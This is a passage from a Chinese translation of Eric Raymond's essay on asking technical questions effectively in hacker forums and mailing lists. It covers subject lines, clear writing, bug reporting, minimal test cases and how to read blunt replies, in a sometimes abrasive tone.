通过论坛或 IRC 通道提供项目的用户支持有增长的趋势,电子邮件交流则更多地为项目开发者保留。所以先在论坛或 IRC 中寻求与该项目相关的帮助。

第二步,使用项目的邮件列表

当某个项目存在开发者邮件列表时,要向列表而不是其中的个别成员提问,即使你确信他能最好地回答你的问题。查一查项目的文档和主页,找到项目的邮件列表并使用它。采用这种办法有几个很好的理由:

  • 向个别开发者提的问题(如果)足够好,也将对整个项目组有益。相反,如果你认为自己的问题对整个项目组来说太愚蠢,这也不能成为骚扰个别开发者的理由。
  • 向列表提问可以分散开发者的负担,个别开发者(尤其是项目领导)也许太忙以至于没法回答你的问题。
  • 大多数邮件列表都要存档,那些存档将被搜索引擎索引,如果你向列表提问并得到解答,将来其它人可以通过网页搜索找到你的问题和答案,也就不用再次发问了。
  • 如果某些问题经常被问到,开发者可以利用此信息改进文档或软件本身,以使其更清楚。如果只是私下提问,就没有人能看到最常见问题的完整场景。

如果一个项目既有 “用户” 也有“开发者”(或 “黑客”)邮件列表或论坛,而你又不摆弄那些代码,向“用户”列表或论坛提问。不要假设自己会在开发者列表中受到欢迎,那些人多半会遭受你的噪音干扰。

然尔,如果你 确信 你的问题不一般,而且在“用户” 列表或论坛中几天都没有回复,可以试试“开发者”列表或论坛。建议你在张贴前最好先暗暗地观察几天,至少看看最近几天保存的帖子,以了解那的行事方式(事实上这是参与任何私有或半私有列表的好主意)

如果你找不到一个项目的邮件列表,而只能查到项目维护者的地址,只管向其发信。即便在这种情况下,也别假设(项目)邮件列表不存在。在你的电子邮件中陈述你已经试过但没有找到合适的邮件列表,也提及你不反对将自己的邮件转发给他人(许多人认为,即使没什么秘密,私人电子邮件也不应该被公开。通过允许将你的电子邮件转发他人,你给了相应人员处置你邮件的选择)。

使用有意义且明确的主题

在邮件列表、新闻组或论坛中,主题是你在五十个或更少的字以内吸引有资格专家注意的黄金机会,不要用诸如 “请帮我” (更别提大写的 “请帮我!!!!”,这种主题的消息会被条件反射式地删掉)之类的唠叨浪费机会。不要用你痛苦的深度来打动我们,相反,要在这点空间中使用超级简明扼要的问题描述。

使用主题的好惯例是“对象──偏差”(式的描述),许多技术支持组织就是这样做的。在“对象”部分指明是哪一个或哪一组东西有问题,在“偏差”部分则描述与期望的行为不一致的地方。

愚蠢:

救命啊!我的笔记本视频工作不正常!

明智:

X.org 6.8.1 扭曲鼠标光标,MV1005 型号的某显卡芯片组

更明智:

使用 MV1005 型号的某显卡芯片组在 X.org 6.8.1 的鼠标光标被扭曲

编写 “对象──偏差”式描述的过程有助于你组织对问题的细致思考。是什么被影响了?仅仅是鼠标光标或者还有其它图形?只在 X.org 中出现?或只是在其 6.8.1 版中?是针对某显卡芯片组?或者只是其中的 MV1005 型号?一个黑客只需描一眼就能够立即明白什么是你遇到的问题,什么是你自己的问题。

更一般地,想象一下在一个只显示主题的文档索引中查找。让你的主题更好地反映问题,可以使下一个搜索类似问题的人能够在文档中直接就找到答案的线索,而不用再次发贴提问。

如果你想在回复中提问,确保改变主题以表明你是在问一个问题,一个主题象 Re: 测试 或者 Re: 新Bug 的消息不太可能引起足够的注意。同时,将回复中与新主题不甚相关的引用内容尽量删除。

对于列表消息,不要直接点击回复(按钮)来开始一个全新的线索,这将限制你的观众。有些邮件阅读程序,比如 mutt,允许用户按线索排序并通过折叠线索来隐藏消息,这样做的人永远看不到你发的消息。

仅仅改变主题还不够。mutt 和其它一些邮件阅读程序还要检查邮件头主题以外的其它信息,以便为其指定线索,所以宁可发一个全新的邮件。

在论坛,因为消息与特定的线索紧密结合,并且通常在线索之外不可见,好的提问方式略有不同,通过回复提问并不要紧。不是所有论坛都允许在回复中出现分离的主题,而且这样做了基本上没有人会去看。不过,通过回复提问本身就是令人怀疑的做法,因为它们只会被正在查看该线索的人读到。所以,除非你 只想 在该线索当前活跃的人群中提问,还是另起炉灶比较好。

使问题容易回复

以请向……回复来结束问题多半会使你得不到回答。如果你觉得花几秒钟在邮件客户端设置一下回复地址都麻烦,我们也觉得花几秒钟考虑你的问题更麻烦。如果你的邮件客户端程序不支持这样做,换个好点的;如果是操作系统不支持所有这种邮件客户端程序,也换个好点的。

在论坛,要求通过电子邮件回复是完全无礼的,除非你确信回复的信息也许是敏感的(而且有人会为了某些未知的原因,只让你而不是整个论坛知道答案)。如果你只是想在有人回复线索时得到电子邮件提醒,可以要求论坛发送。几乎所有论坛都支持诸如留意本线索、有回复发送邮件等功能。

用清晰、语法、拼写正确的语句书写

经验告诉我们,粗心与草率的作者通常也粗心与草率地思考和编程(我敢打赌)。为这些粗心与草率的思考者回答问题没有什么好处,我们宁可将时间花在其它地方。

清楚、良好地表达你的问题非常重要。如果你觉得这样做麻烦,我们也觉得注意(你的问题)麻烦。花点额外的精力斟酌一下字句,用不着太僵硬与正式──事实上,黑客文化很看重能准确地使用非正式、俚语和幽默的语句。但它 必须 很准确,而且有迹象表明你是在思考和关注问题。

正确地拼写、使用标点和大小写,不要将 its 混淆为 it's,loose 搞成 lose 或者将 “discrete” 弄成 “discreet”。不要全部用大写,这会被视为无礼的大声嚷嚷 (全部小写也好不到哪去,因为不易阅读。Alan Cox [注:著名黑客,Linux 内核的重要参与者] 也许可以这样做,但你不行。)

一般而言,如果你写得象个半文盲似的傻子,多半得不到理睬。也不要使用即时通讯中的简写,如将 you 简化为 u 会使你看起来象一个为了节约二次击键的半文盲式的傻子。更糟的是,如果象个小孩似地鬼画桃符那绝对是在找死,可以肯定没人会理你(或者最多是给你一大堆指责与挖苦)。

如果在非母语论坛提问,你的拼写与语法错误会得到有限的宽容,但懒惰完全不会被容忍(是的,我们通常看得出其中的差别)。同时,除非你知道回复者使用的语言,请使用英语书写。繁忙的黑客一般会直接删除用他们看不懂语言写的消息。在互联网上英语是工作语言,用英语书写可以将你的问题不被阅读就被直接删除的可能性降到最低。

如果你用英语书写但它是你的第二语言,最好提醒潜在的回复者语言上可能的困难以便绕过这个问题,比如:

  • 英语不是我的母语,请谅解拼写错误。
  • 如果您使用某某语言,请电邮/私聊我,也许我需要您的协助翻译我的问题。
  • 对于这个技术术语本身我很熟悉,但对于它的一些俚语或习惯表达方式就不太明白了。
  • 我已经同时用某某语及英语提问,如果您使用两者之一回复,我很乐意翻译。

使用易于读取且标准的文件格式发送问题

如果你人为地将问题搞得难以阅读,它多半会被忽略,人们更愿读易懂的问题,所以:

  • 使用纯文本而不是 HTML(超文本标注语言)( 关闭HTML 并不难)

  • 使用 MIME(多用途互联网邮件扩展)附件通常没有问题,前提是真正有内容(譬如附带的源文件或补丁),而不仅仅是邮件客户端程序生成的模板(譬如只是消息内容的拷贝)。

  • 不要发送整段只是单行句子但多次折回的邮件(这使得回复部分内容非常困难)。设想你的读者是在80个字符宽的文本终端阅读邮件,设置你的行折回点小于 80 列。

  • 但是,也 不要 用任何固定列折回数据(譬如日志文件拷贝或会话记录)。数据应该原样包含,使回复者确信他们看到的是与你看到的一样的东西。

  • 在英语论坛中,不要使用'Quoted-Printable' MIME 编码发送消息。这种编码对于张贴非 ASCII 语言可能是必须的,但很多邮件程序并不支持。当它们分断时,那些文本中四处散布的 “=20”符号既难看也分散注意力,甚至有可能破坏内容的语意。

  • 永远不要 指望黑客们阅读使用封闭的专用格式编写的文档,诸如微软公司的 Word 或 Excel 文件等。大多数黑客对此的反应就象有人将还在冒热气的猪粪倒在你门口时你的反应一样。即使他们能够处理,也很厌恶这么做。

  • 如果你从使用Windows的电脑发送电子邮件,关闭问题颇多的微软“聪明引用”功能(在“工具” -> “自动纠正选项”的“输入时自动格式化”下去掉聪明引用的选框),以免在你的邮件中到处散布垃圾字符。

  • 在论坛,勿滥用“表情符号”和“HTML”功能(当它们提供时)。一两个表情符号通常没有问题,但花哨的彩色文本倾向于使人认为你是个无能之辈。过滥地使用表情符号、色彩和字体会使你看来象个傻笑的小姑娘。这通常不是个好主意,除非你只是对性而不是有用的回复更有兴趣。

  • 如果你使用图形用户界面的邮件客户端程序(如网景公司的 Messenger、微软公司的 Outlook 或者其它类似的),注意它们的缺省配置不一定满足这些要求。大多数这类程序有基于菜单的查看源码命令,用它来检查发送文件夹中的消息,以确保发送的是没有多余杂质的纯文本文件。

描述问题应准确且有内容

  • 仔细、清楚地描述问题的症状
  • 描述问题发生的环境(主机、操作系统、应用程序,任何相关的),提供销售商的发行版和版本号(如:“Fedora Core 7”、“Slackware 9.1”等)
  • 描述提问前做过的研究及其理解。
  • 描述提问前为确定问题而采取的诊断步骤。
  • 描述最近对计算机或软件配置的任何相关改变。
  • 如果可能,提供在可控环境下重现问题的方法。
  • 尽最大努力预测黑客会提到的问题,并提前备好答案。

如果你认为是代码有问题,向黑客提供在可控环境下重现问题的方法尤其重要。当你这么做时,得到有用且及时回复的可能性将大大增加。

西蒙.泰瑟姆(Simon Tatham)写过一篇《如何有效报告Bug》的文章,我强烈推荐各位阅读。

量不在多,精炼则灵

你应该(写得)精炼且有内容,简单地将一大堆代码或数据罗列在求助消息中达不到目的。如果你有一个很大且复杂的测试样例让程序崩溃,尝试将其裁剪得越小越好。

至少有三个理由支持这点。第一,让别人看到你在努力简化问题使你更有可能得到回复。第二,简化问题使你更有可能得到 有用的 回复。第三,在提纯Bug报告的过程中,你可能自己就找到了解决办法或权宜之计。

别急于宣称找到Bug

当你在一个软件中遇到问题,除非你 非常、非常 的有根据,不要动辄声称找到了Bug。提示:除非你能提供解决问题的源代码补丁,或者对前一版本的回归测试表现出不正确的行为,否则你都多半不够完全确信。对于网页和文档也如此,如果你(声称)发现了文档的“Bug”,你应该能提供相应位置的替代文本。

记住,还有许多其它用户并未经历你遇到的问题,否则你在阅读文档或搜索网页时就应该发现了([你在报怨前已经做了这些,是吧 ?](#你在报怨前已经做了这些,是吧 ?))。这也意味着很有可能是你弄错了而不是软件本身有问题。

编写软件的人总是非常辛苦地使它尽可能完美。如果你声称找到了Bug,也就置疑了他们的能力,即使你是对的,也有可能会使其中的部分人感到不快。(此外,)在主题中嚷嚷“Bug”也是特别不老练的。

提问时,即使你私下非常确信已经发现一个真正的Bug,最好写得象是 你 做错了什么。如果真的有Bug,你会在回复中看到这点。这样做的话,如果真有虫子,维护者就会向你道歉,这总比你弄砸了然后欠别人一个道歉要强。

低声下气代替不了做自己的家庭作业

有些人明白他们不应该粗鲁或傲慢地行事并要求得到答复,但他们退到相反的低声下气的极端:“我知道我只是个可怜的新丁,一个失败者,但……”。这既使人困扰,也没有用,当伴随着对实际问题含糊的描述时还特别令人反感。

别用低级灵长类动物的办法浪费你我的时间,相反,尽可能清楚地描述背景情况和你的问题,这比低声下气更好地摆正了你的位置。

有时,论坛设有单独的初学者提问版面,如果你真的认为遇到了肤浅的问题,到那去就是了,但一样别低声下气。

描述问题症状而不是猜测

告诉黑客是什么导致了问题是没用的(如果你的诊断理论是了不起的东西,你还会向别人咨询求助吗?)。所以,确保只是告诉他们问题的原始症状,而不是你的解释和理论,让他们来解释和诊断。如果你认为陈述自己的猜测很重要,应清楚地说明这只是你的猜测并描述为什么它们不起作用。

愚蠢:

我在编译内核时接连遇到 SIG11 错误,怀疑主板上的某根电路丝断了,找到它们的最好办法是什么?

明智:

我组装的电脑(K6/233 CPU、FIC-PA2007 主板[威盛 Apollo VP2 芯片组]、Corsair PC133 SDRAM 256Mb 内存)最近在开机 20 分钟左右、做内核编译时频繁地报 SIG11 错,但在头 20 分钟内从不出问题。重启动不会复位时钟,但整夜关机会。更换所有内存未解决问题,相关的典型编译会话日志附后。

由于以上这点许多人似乎难以掌握,这里有句话可以提醒你:“所有的诊断专家都来自密苏里州”。美国国务院的官方座右铭则是“让我看看”(出自国会议员威勒德.D.范迪弗[Willard D. Vandiver]在1899年时的讲话:“我来自一个出产玉米、棉花、牛蒡和民主党人的国家,滔滔雄辩既不能说服我,也不会让我满意。我来自密苏里州,你必须让我看看。”)针对诊断者而言,这并不是怀疑,而只是一种真实而有用的需求,以便让他们看到与你看到的原始证据尽可能一致的东西,而不是你的猜测与总结。(所以,)让我们看看。

按时间先后罗列问题症状

刚出问题之前发生的事情通常包含有解决问题最有效的线索。所以,记录中应准确地描述你、电脑和软件在崩溃前都做了什么。在命令行处理的情况下,有会话日志(如运行脚本工具生成的)并引用相关的若干(如20)行记录会非常有帮助。

如果崩溃的程序有诊断选项(如-v详述开关),试着选择这些能在记录中增加排错信息的选项。记住,“多”不等于“好”。试着选取适当的排错级别以便提供有用的信息而不是将阅读者淹没在垃圾中。

如果你的记录很长(如超过四段),在开头简述问题随后按时间先后罗列详细过程也许更有用。这样,黑客在读你的记录时就知道该注意哪些内容了。

描述目标而不是过程

如果你想弄清楚如何做某事(而不是报告一个Bug),在开头就描述你的目标,然后才陈述遇到问题的特定步骤。

经常出现这种情况,寻求技术帮助的人在脑袋里有个更高层次的目标,他们在自以为能达到目标的特定道路上被卡住了,然后跑来问该怎么走,但没有意识到这条路本身有问题,结果要费很大的劲才能通过。

愚蠢:

我怎样才能让某图形程序的颜色拾取器取得十六进制的 RGB 值?

明智:

我正试着用自己选定数值的颜色替换一幅图片的色表,我现在知道的唯一方法是编辑每个表槽,但却无法让某图形程序的颜色拾取器取得十六进制的 RGB 值。

第二种提法是明智的,它使得建议采用更合适的工具以完成任务的回复成为可能。

别要求私下回复电邮

黑客们认为问题的解决过程应该公开、透明,此过程中如果更有才能的人注意到不完整或者不当之处,最初的回复才能够、也应该被纠正。同时,作为回复者也因为能力和学识被其它同行看到而得到某种回报。

当你要求私下回复时,此过程和回报都被中止。别这样做,让 回复者 来决定是否私下回答──如果他真这么做了,通常是因为他认为问题编写太差或者太肤浅,以至于对其它人毫无意义。

对这条规则存在一条有限的例外,如果你确信提问可能会引来大量雷同的回复时,那么“向我发电邮,我将为论坛归纳这些回复”将是神奇的句子。试着将邮件列表或新闻组从洪水般雷同的回复中解救出来是非常有礼貌的──但你必须信守诺言。

提问应明确

漫无边际的问题通常也被视为没有明确限制的时间无底洞。最有可能给你有用答案的人通常也是最忙的人(假如只是因为他们承担了太多工作的话),这些人对于没有止境的时间无底洞极其敏感,所以他们也倾向于讨厌那些漫无边际的问题。

如果你明确了想让回复者做的事(如指点方向、发送代码、检查补丁或其它),你更有可能得到有用的回复。(因为)这样可以让他们集中精力并间接地设定了他们为帮助你需要花费的时间和精力上限,这很好。

要想理解专家生活的世界,可以这样设想:那里有丰富的专长资源但稀缺的响应时间。你暗中要求他们奉献的时间越少,你越有可能从这些真正懂行也真正很忙的专家那里得到解答。

所以限定你的问题以使专家回答时需要付出的时间最少──这通常与简化问题还不太一样。举个例,“请问可否指点一下哪有好一点的 X 解释?”通常要比“请解释一下 X”明智。如果你的代码不运行了,通常请别人看看哪有问题比叫他们帮你改正更明智。

关于代码的问题

别要求他人给你出问题的代码排错而不提及应该从何入手。张贴几百行的代码,然后说一声“它不能运行”会让你得不到理睬。只贴几十行代码,然后说一句“在第七行以后,本应该显示,但实际出现的是”非常有可能让你得到回复。

最精确描述代码问题的方法是提供一个能展示问题的最小测试样例。什么是最小测试样例?它是对问题的展现,只需要刚好能够重现非预期行为的代码即可。如何生成一个最小测试样例?如果你知道哪一行或哪一段代码会产生问题,将其复制并提供刚好够用的外围支撑代码以构成一个完整的样例(够用是指源码刚好能被编译器、解释器或任何处理它的程序所接受)。如果你不能将问题缩小到特定的段落,复制源码并去除那些与问题无关的代码段。你能提供的最小测试样例越小越好(参见 量不在多,精炼则灵 )。

生成一个非常小的最小测试样例并不总是可能,但尽力去做是很好的锻练,这有可能帮助你找到需要自己解决的问题。即使你找不到,黑客们喜欢看到你努力过,这将使他们更合作。

如果你只是想让别人帮忙审一下代码,在最开头就要说出来,并且一定要提到你认为哪一部分特别需要关注以及为什么。

别张贴家庭作业式问题

黑客们善于发现“家庭作业”式的问题。我们中的大多数人已经做了自己的家庭作业,那是该 你 做的,以便从中学到东西。问一下提示没有关系,但不是要求完整的解决方案。

如果你怀疑自己碰到了一个家庭作业式的问题,但仍然无法解决,试试在用户组、论坛或(作为最后一招)在项目的“用户”邮件列表或论坛中提问。尽管黑客们 会 看出来,一些老用户也许仍会给你提示。

删除无意义的要求

抵制这种诱惑,即在求助消息末尾加上诸如“有人能帮我吗?”或“有没有答案?”之类在语义上毫无意义的东西。第一,如果问题描述还不完整,这些附加的东西最多也只能是多余的。第二,因为它们是多余的,黑客们会认为这些东西烦人──就很有可能用逻辑上无误但打发人的回复,诸如“是的,你可以得到帮助”和“不,没有给你的帮助”。

一般来说,避免提“是或否”类型的问题,除非你想得到 “是或否”类型的回答。

不要把问题标记为“紧急”,即使对你而言的确如此

这是你的问题,不要我们的。宣称“紧急”极有可能事与愿违:大多数黑客会直接删除这种消息,他们认为这是无礼和自私地企图得到即时与特殊的关照。而且“紧急”或其它有类似含义的主题有可能触发垃圾过滤规则,潜在的回复者可能永远看不到你的问题!

有一点点局部的例外,如果你是在一些知名度很高、会使黑客们激动的地方使用程序,也许值得这样去做。在这种情况下,如果你有期限压力,也很有礼貌地提到这点,人们也许会有足够的兴趣快一点回答。

当然,这是非常冒险的,因为黑客们对什么是令人激动的标准多半与你的不同。譬如从国际空间站这样张贴没有问题,但代表感觉良好的慈善或政治原因这样做几乎肯定不行。事实上,张贴诸如“紧急:帮我救救这个毛绒绒的小海豹!”肯定会被黑客回避或光火,即使他们认为毛绒绒的小海豹很重要。

如果你觉得这不可思议,再把剩下的内容多读几遍,直到弄懂了再发贴也不迟。

礼貌总是有益的

礼貌一点,使用 请 和 谢谢你的关注 或者 谢谢你的关照,让别人明白你感谢他们无偿花时间帮助你。

坦率地讲,这一点没有语法正确、文字清晰、准确、有内容和避免使用专用格式重要(同时也不能替代它们)。黑客们一般宁可读有点唐突但技术鲜明的Bug报告,而不是那种有礼但含糊的报告。(如果这点让你不解,记住我们是按问题能教我们什么来评价它的)

然尔,如果你已经谈清楚了技术问题,客气一点肯定会增加你得到有用回复的机会。

(我们必须指出,本文唯一受到一些老黑客认真反对的地方是以前曾经推荐过的“提前谢了”,一些黑客认为这隐含着事后不用再感谢任何人的暗示。我们的建议是要么先说 提前谢了,事后 再 对回复者表示感谢,要么换种方式表达,譬如用 谢谢你的关注 或 谢谢你的关照)。

问题解决后追加一条简要说明

问题解决后向所有帮助过的人追加一条消息,让他们知道问题是如何解决的并再次感谢。如果问题在邮件列表或新闻组中受到广泛关注,在那里追加此消息比较恰当。

最理想的方式是向最初提问的线索回复此消息,并在主题中包含 已解决、已搞定 或其它同等含义的明显标记。在人来人往的邮件列表里,一个看见线索 问题 X 和 问题 X-已解决 的潜在回复者就明白不用再浪费时间了(除非他个人觉得“问题 X”有趣),因此可以利用此时间去解决其它问题。

追加的消息用不着太长或太复杂,一句简单的“你好──是网线坏了!谢谢大家──比尔”就比什么都没有要强。事实上,除非解决问题的技术真正高深,一条简短而亲切的总结比长篇大论要好。说明是什么行动解决了问题,用不着重演整个排错的故事。

对于有深度的问题,张贴排错历史的摘要是恰当的。描述问题的最终状态,说明是什么解决了问题,在此之后 才指明可以避免的弯路。应避免的弯路部分应放在正确的解决方案和其它总结材料之后,而不要将此消息搞成侦探推理小说。列出那些帮助过你的名字,那样你会交到朋友的。

除了有礼貌、有内容以外,这种类型的追帖将帮助其他人在邮件列表、新闻组或论坛文档中搜索到真正解决你问题的方案,从而也让他们受益。

最后,此类追帖还让每位参与协助的人因问题的解决而产生一种满足感。如果你自己不是技术专家或黑客,相信我们,这种感觉对于你寻求帮助的老手和专家是非常重要的。问题叙述到最后不知所终总是令人沮丧的,黑客们痒痒地渴望它们被解决。挠痒痒 为你挣到的信誉将对你下次再次张贴提问非常非常的有帮助。

考虑一下怎样才能避免他人将来也遇到类似的问题,问问自己编一份文档或 FAQ 补丁会不会有帮助,如果是的话就将补丁发给维护者。

在黑客中,这种良好的后继行动实际上比传统的礼貌更重要,也是你善待他人而赢得声誉的方式,这是非常有价值的财富。

如何解读回答

“读读该死的手册”(RTFM)和“搜搜该死的网络”(STFW):如何明白你已完全搞砸

有一个古老而神圣的传统:如果你收到 读读该死的手册(RTFM) 的回复,发信人认为你应该去“读读该死的手册”。他或她多半是对的,去读一下吧。

“读读该死的手册”(RTFM)有个年轻一点的亲戚,如果你收到“搜搜该死的网络”(STFW)的回复,发信人认为你应该“搜搜该死的网络”。那人多半也是对的,去搜一下吧。(更温和一点的说法是“谷歌是你的朋友!”)

在论坛,你也可能被要求去搜索论坛的文档。事实上,有人甚至可能热心地为你提供以前解决此问题的线索。但不要依赖这种关照,提问前应该先搜索一下文档。

通常,叫你搜索的人已经打开了能解决你问题的手册或网页,正在一边看一边敲键盘。这些回复意味着他认为:

  • 第一,你要的信息很容易找到。
  • 第二,自已找要比别人喂到嘴里能学得更多。

你不应该觉得这样就被冒犯了,按黑客的标准,回复者没有不理你就是在向你表示某种尊敬,你反而应该感谢他热切地想帮助你。

如果还不明白……

如果你看不懂回答,不要马上回复一个要求说明的消息,先试试那些最初提问时用过的相同工具(如手册、FAQ、网页、懂行的朋友等)试着搞懂回答。如果还是需要说明,展现你已经明白的。

譬如,假如我告诉你:“看起来象是某输入项有问题,你需要清除它”,接着是个 不好 的回帖:“什么是某输入项?”。而这是一个 很好 的跟帖:“是的,我读了手册,某某输入项只在 -z 和 -p 开关中被提到,但都没有涉及到如何清除它们,你指的是哪一个还是我弄错了什么?”

对待无礼

很多黑客圈子中看似无礼的行为并不是存心冒犯。相反,它是直接了当、一针见血式的交流风格,这种风格对于更关注解决问题而不是使别人感觉舒服而混乱的人是很自然的。

如果你觉得被冒犯了,试着平静地反应。如果有人真的做了过格的事,邮件列表、新闻组或论坛中的前辈多半会招呼他。如果这 没有 发生而你却光火了,那么你发火对象的言语可能在黑客社区中看起来是正常的,而 你 将被视为有错的一方,这将伤害到你获取信息或帮助的机会。

另一方面,你会偶而真的碰到无礼和无聊的言行。与上述相反,对真正的冒犯者狠狠地打击、用犀利的语言将其驳得体无完肤都是可以接受的。然尔,在行事之前一定要非常非常的有根据。纠正无礼的言论与开始一场毫无意义的口水战仅一线之隔,黑客们自己莽撞地越线的情况并不鲜见。如果你是新手或外来者,避开这种莽撞的机会并不高。如果你想得到的是信息而不是消磨时光,这时最好不要把手放在键盘上以免冒险。

(有些人断言很多黑客都有轻度的自闭症或阿斯伯格综合症,缺少用于润滑人类社会“正常”交往所需的脑电路。这既可能是真也可能是假。如果你自己不是黑客,兴许你认为我们脑袋有问题还能帮助你应付我们的古怪行为。只管这么干好了,我们不在乎。我们 喜欢 现在这个样子,并且一般都对病号标记有站得住脚的怀疑。)

在下一节,我们会谈到另一个问题,当 你 行为不当时会受到的“冒犯”。

别象失败者那样反应

在黑客社区的论坛中有那么几次你可能会搞砸──以本文描述或类似的方式。你会被示众是如何搞砸的,也许言语中还会带点颜色。

这种事发生以后,你能做的最糟糕的事莫过于哀嚎你的遭遇、宣称被口头攻击、要求道歉、高声尖叫、憋闷气、威胁诉诸法律、向其雇主报怨、忘了关马桶盖等等。相反,你该这样去做:

熬过去,这很正常。事实上,它是有益健康与恰当的。

社区的标准不会自己维持,它们是通过参与者积极而 公开 地执行来维持的。不要哭嚎所有的批评都应该通过私下的邮件传送,这不是事情运作的方式。当有人评论你的一个说法有误或者提出不同看法时,坚持声称受到个人攻击也毫无益处,这些都是失败者的态度。

也有其它的黑客论坛,受过高礼节要求的误导,禁止参与者张贴任何对别人帖子挑毛病的消息,并声称“如果你不想帮助用户就闭嘴”。有思路的参与者纷纷离开的结果只会使它们变成了毫无意义的唠叨与无用的技术论坛。

是夸张的“友谊”(以上述方式)还是有用?挑一个。

记着:当黑客说你搞砸了,并且(无论多么刺耳地)告诉你别再这样做时,他正在为关心你和他的社区而行动。对他而言,不理你并将你从他的生活中滤除要容易得多。如果你无法做到感谢,至少要有点尊严,别大声哀嚎,也别因为自己是个有戏剧性超级敏感的灵魂和自以为有资格的新来者,就指望别人象对待脆弱的洋娃娃那样对你。

有时候,即使你没有搞砸(或者只是别人想象你搞砸了), 有些人也会无缘无故地攻击你本人。在这种情况下,报怨倒是 真的 会把问题搞砸。

这些找茬者要么是毫无办法但自以为是专家的不中用家伙,要么就是测试你是否真会搞砸的心理专家。其它读者要么不理睬,要么用自己的方式对付他们。这些找茬者在给自己找麻烦,这点你不用操心。

也别让自己卷入口水战,大多数口水战最好不要理睬──当然,是在你核实它们只是口水战、没有指出你搞砸的地方,而且没有巧妙地将问题真正的答案藏于其中之后(这也是可能的)。

提问禁忌

下面是些典型的愚蠢问题和黑客不回答它们时的想法。

问:我到哪可以找到某程序或 X 资源?

问:我怎样用 X 做 Y?

问:如何配置我的 shell 提示?

问:我可以用 Bass-o-matic 文件转换工具将 AcmeCorp 文档转为 TeX 格式吗?

问:我的{程序、配置、SQL 语句}不运行了

问:我的Windows电脑出问题了,你能帮忙吗?

问:我的程序不运行了,我认为系统工具X有问题

问:我安装 Linux 或 X 遇到困难,你能帮忙吗?

问:我如何才能破解超级用户口令/盗取通道操作员的特权/查看某人的电子邮件?


问:

我到哪可以找到某程序或 X 资源?

答:

在我找到它的同样地方,笨旦──在网页搜索引擎上。上帝啊,难道还有人不知道如何使用 谷歌 吗?

问:

我怎样用 X 做 Y?

答:

如果你想解决的是 Y,提问时别给出可能并不恰当的方法。这种问题说明提问者不但对 X 完全无知,也对要解决的 Y 问题糊涂,还被特定形势禁锢了思维。等他们把问题弄好再说。

问:

如何配置我的 shell 提示?

答:

如果你有足够的智慧提这个问题,你也该有足够的智慧去 “读读该死的手册”(RTFM),然后自己去找出来。

问:

我可以用 Bass-o-matic 文件转换工具将 AcmeCorp 文档转为 TeX 格式吗?

答:

试试就知道了。如果你试过,你既知道了答案,又不用浪费我的时间了。

问:

我的{程序、配置、SQL 语句}不运行了

答:

这不是一个问题,我也没有兴趣去猜你有什么问题──我有更要紧的事要做。看到这种东西,我的反应一般如下:

  • 你还有什么补充吗?
  • 噢,太糟了,希望你能搞定。
  • 这跟我究竟有什么关系?

问:

我的Windows电脑出问题了,你能帮忙吗?

答:

是的,把Windows垃圾删了,装个象 Linux 或 BSD 的开源操作系统吧。

注意:如果程序有官方的Windows版或者与Windows有交互(如 Samba),你 可以 问与Windows相关的问题,只是别对问题是由Windows操作系统而不是程序本身造成的回复感到惊讶,因为Windows一般来说太差,这种说法一般都成立。

问:

我的程序不运行了,我认为系统工具 X 有问题

答:

你完全有可能是第一个注意到被成千上万用户反复使用的系统调用与库文件有明显缺陷的人,更有可能的是你完全没有根据。不同凡响的说法需要不同凡响的证据,当你这样声称时,你必须有清楚而详尽的缺陷说明文档作后盾。

问:

我安装 Linux 或 X 遇到困难,你能帮忙吗?

答:

不行,我需要亲手操作你的电脑才能帮你排错,去向当地的 Linux 用户组寻求方便的帮助(你可以在 这里 找到用户组列表)

注意:如果安装问题与某 Linux 发行版有关,在针对 它 的邮件列表、论坛或本地用户组织中提问也许是恰当的。此时,应描述问题的准确细节。在此之前,先用 “linux”和 所有 被怀疑的硬件 [作关键词] 仔细搜索。

问:

我如何才能破解超级用户口令/盗取通道操作员的特权/查看某人的电子邮件?

答:

想做这种事情说明你是个卑劣的家伙,想让黑客教你做这种事情说明你是个白痴。

好问题与坏问题

最后,我将通过举例来演示提问的智慧。同样的问题两种提法,一种愚蠢,另一种明智。

愚蠢:我在哪能找到关于 Foonly Flurbamatic 设备的东西?

这个问题在乞求得到 “搜搜该死的网络”(STFW) 式的回复。

明智: 我用谷歌搜索过“Foonly Flurbamatic 2600”,但没有找到什么有用的,有谁知道在哪能找到这种设备的编程信息?

这个人已经搜索过网络了,而且听起来他可能真的遇到了问题。

愚蠢: 我不能编译某项目的源代码,它为什么这么破?

提问者假设是别人搞砸了,太自大了。

明智: 某项目的源代码不能在某 Linux 6.2 版下编译。我读了常见问题文档,但其中没有与某 Linux 相关的内容。这是编译时的记录,我做错了什么吗?

提问者已经指明了运行环境,读了常见问题文档(FAQ),列出了错误,也没有假设问题是别人的过错,这家伙值得注意。

愚蠢: 我的主板有问题,谁能帮我?

某黑客对此的反应可能是:“是的,还需要帮你拍背和换尿布吗?”,然后是敲下删除键。

明智: 我在 S2464 主板上试过 X、Y 和 Z,当它们都失败后,又试了 A、B 和 C。注意我试 C 时的奇怪症状,显然某某东西正在做某某事情,这不是期望的行为。通常在 Athlon MP 主板上导致某某事情的原因是什么?有谁知道我还能再试点什么以确定问题?

相反地,这个人看来值得回答。他或她展现了解决问题的能力而不是坐等天上掉馅饼。

在最后那个问题中,注意“给我一个回答”与“请帮我看看我还能再做点什么测试以得到启发”之间细微但重要的差别。

事实上,最后那个问题基本上源于 2001 年 8 月 Linux 内核邮件列表(lkml)上的真实事件,是我(Eric)当时提了那个问题,我发现 Tyan S2462 主板有神秘的死机现象,邮件列表成员给我提供了解决此问题的关键信息。

通过这种提问方式,我给了别人可以咀嚼玩味的东西。我设法使之对参与者既轻松又有吸引力,也表明了对同行能力的尊敬并邀请他们与我一起协商。通过告诉他们我已经走过的弯路,我还表明了对他们宝贵时间的尊重。

事后,当我感谢大家并评论这次良好的经历时,一个 Linux 内核邮件列表的成员谈到,他认为我得到答案并不是因为我的名字挂在列表上,而只是因为我正确的提问方式。

黑客们在某种方面是非常不留情面的精英分子。我想在这事上他是对的,如果我 表现得 象个不劳而获的寄生虫,不管我是谁都会被忽略或斥责。他建议将整个事件作为对其它人提问的指导,这直接导致了本文的编写。

如果得不到回答

如果得不到回答,请不要认为我们不想帮你,有时只是因为被问到的小组成员的确不知道答案。没有回复不等于不被理睬,当然必须承认从外面很难看出两者的差别。

一般而言,直接将问题再张贴一次不好,这会被视为毫无意义的骚扰。耐心一点,知道你问题答案的人可能生活在不同的时区,有可能正在睡觉,也有可能你的问题一开始就没有组织好。

还有其它资源可以寻求帮助,通常是在一些面向新手的资源中。

